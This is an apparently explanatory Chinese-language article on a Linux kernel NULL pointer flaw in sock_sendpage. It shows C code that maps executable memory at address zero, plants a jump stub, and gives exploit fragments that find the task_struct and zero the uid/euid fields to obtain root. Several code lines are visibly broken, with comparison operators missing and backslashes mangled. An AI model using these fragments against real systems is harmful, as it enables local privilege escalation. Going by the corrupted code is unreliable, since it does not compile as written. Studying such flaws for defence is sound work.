NULL指標一般都是應用於有效性檢測的,其實這裡面有一個約定俗成的規則,就是說無效指標並不一定是 NULL,只是為了簡單起見,規則約定只要指標無效了就將之設定為NULL,結果就是NULL這個指標被用來檢測指標有效性,於是它就不能用作其它了,而實際上NULL就是0,代表了數值編號為0的一個記憶體位址,拋開那個約定,它和別的addr沒有任何區別,簡單的說,完全可以選擇一個其它的地址作為指標有效性檢測,比如0x1234等等,不選其它地址的原因就是第一,NULL比較好記憶,第二,由於NULL就是0,因此很容易進行布爾判斷。請看下面的程式:
void null_func()
{
printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");
}
void map_and_call_null()
{
char *addr = NULL;
addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
addr[0] = '/xff';
addr[1] = '/x25';
*(unsigned int *)&addr[2] = 6;
*(unsigned long *)&addr[6] = (unsigned long)&null_func;
void (*aaa)();
aaa = NULL; //設定為NULL
(*aaa)();
}
int main(void)
{
map_and_call_null(NULL);
}
結果成功列印出了一片a,這就說明NULL是可以作為一個正常的地址來使用的,如此一來就出現了一個漏洞,其實按照理論上講除非你把NULL地址的記憶體的存取權限完全封死,要不然這個漏洞就是無法彌補的,只能通過程式員自己來負責了。而完全封死NULL又不符合設計規範,使用者空間的進程記憶體是可以被該進程自由訪問的,任何機構都沒有權力封死一塊記憶體的存取權限,既然不能封死NULL,那麼按照規則和編譯器的特性核心中的指標在初始化的時候都被初始化成了 NULL,如果後面沒有再被賦予正確的值,那麼它將一直是NULL,如果此時有一個執行緒沒有檢查NULL指標直接調用了一個可能是NULL的回呼函數,那麼只要在NULL地址處映射著的代碼都將被執行,而映射什麼代碼全部是使用者進程說了算的。於是乎在核心空間為了安全起見一般都將函數指標初始化為一個 stub函數,然後在該stub中直接返回一個出錯碼,還有一種初始化方式就是初始化為一個0xc0000000指標,使用者空間是無法訪問核心空間的,因此就不能往這個地址映射任何東西,核心空間和使用者空間完全分治。
現在的核心普遍採用了stub函數的初始化方式,但是總是有一些例外,正如漏洞描述上所說的,並不是所有的事情都符合這個約定的,因此就存在有一些函數沒有被初始化為stub的,socket的file_operations中的sendpage就是其中之一,它實現如下:
static ssize_t sock_sendpage(struct file *file,...)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
如果碰上沒有初始化sock->ops->sendpage為stub的情況,那麼它就是NULL,如果對應的協議族根本沒有用到這個回呼函數,那麼它將一直是NULL,於是乎只需要在使用者空間將NULL地址處映射為修改uid或者euid的代碼就可以從普通許可權跳躍到root許可權。但是這個漏洞額度利用並不像核心自殺式漏洞的利用那麼簡單。
由於代碼是在使用者空間注入的,所以就不能直接用核心空間的current宏了,必須通過核心棧來間接的得到當前進程的task_struct指標,其實核心空間的current宏也是這麼實現的,只不過在使用者空間編譯器之前是不能動態使用核心資料結構的,那麼當使用者空間代碼注入到核心以後(其實沒有注入核心,而是引導核心空間的執行緒調用使用者空間的代碼而已),自己按照current的實現方式再實現一個好了,這對核心愛好者應該不難:
static inline unsigned long get_current_4k(void)
{
unsigned long current = 0;
asm volatile (
" movl %%esp, %0;"
: "=r" (current)
);
current = *(unsigned long *)(current & 0xfffff000);
if (current 0xfffff000)
return 0;
return current;
}
找到了當前進程的task_struct,那麼接下來就是找到其uid/euid欄位並且更改之,如何找到這些欄位又是一個難題,因為在使用者空間並不知道該啟動並執行核心的task_struct是怎麼實現的,因此只能通過特徵來猜測了,我們現在知道的資訊是當前進程的uid,euid以及uid,euid等欄位在task_struct中的相對位置,就是說雖然不知道uid的絕對位移,但是知道euid和uid的相對位移資訊,如此一來就可以一個一個位元組的搜尋了,代碼如下:
repeat:
current = (unsigned int *)orig_current;(由get_current_4k()得到)
while (((unsigned long)current
(current[0] != our_uid || current[1] != our_uid ||
current[2] != our_uid || current[3] != our_uid))
current++;
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
if (orig_current == orig_current_4k) {
orig_current = get_current_8k();
goto repeat;
}
return;
}
got_root = 1;
memset(current, 0, sizeof(unsigned int) * 8); //最終修改task_struct的uid資訊
如此用NULL指標漏洞就可以從普通使用者權限提升到root使用者權限,但是這一招在windows上能否行得通呢?我們來做一個實驗:
unsigned long addr = XXX;//隨便一個0到64k的地址都可以,不妨設定為NULL
char * p = (char *) VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);
DWORD dwRequest;
BOOL b = VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);
經過上述的實驗,發現兩個函數都失敗了,為什麼呢?其實在windows中明確規定了一個64k大小的使用者禁入區,也就是這個地區內的記憶體是不能訪問的,這就避免了linux中的上述的漏洞問題,但是為何linux不這麼做呢?呵呵,linux不將NULL封死就是因為機制和策略相分離的原則,作業系統核心給與使用者空間最大的自由,不規定記憶體怎麼映射,隨便怎麼映射都可以。如果非要說linux的NULL指標沒有封死是個潛在的漏洞,那也只能說該漏洞是核心路徑沒有嚴格驗證指標是否為NULL導致的而不是NULL本身導致的,需要做的不是封死NULL,而是在有漏洞的地方加上NULL判斷